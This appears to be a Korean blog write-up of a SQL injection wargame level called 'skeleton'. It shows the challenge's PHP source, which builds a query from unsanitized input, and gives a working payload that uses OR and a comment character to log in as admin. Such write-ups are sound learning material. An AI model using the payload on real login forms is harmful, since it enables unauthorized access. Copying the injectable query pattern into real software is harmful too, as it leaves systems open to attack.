반응형
<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
소스코드 분석
음... 딱히 어려운 부분이 없다.
and 1=0이것을 주석으로 하면 어려울 것 없어 보인다.
풀이
페이로드를 pw=' || id='admin' %23 으로 하면된다.
이렇게 보내면
id='guest' and pw='' || id='admin' # ' and 1=0";
이렇게 완성된다 즉 id='guest' and pw=''는 거짓 또는 id='admin'은 참이다 #는 주석처리 해주기 떄문에 뒤에는 주석부분이 된다 따라서 이 구문은 참이기 떄문에 admin이 된다.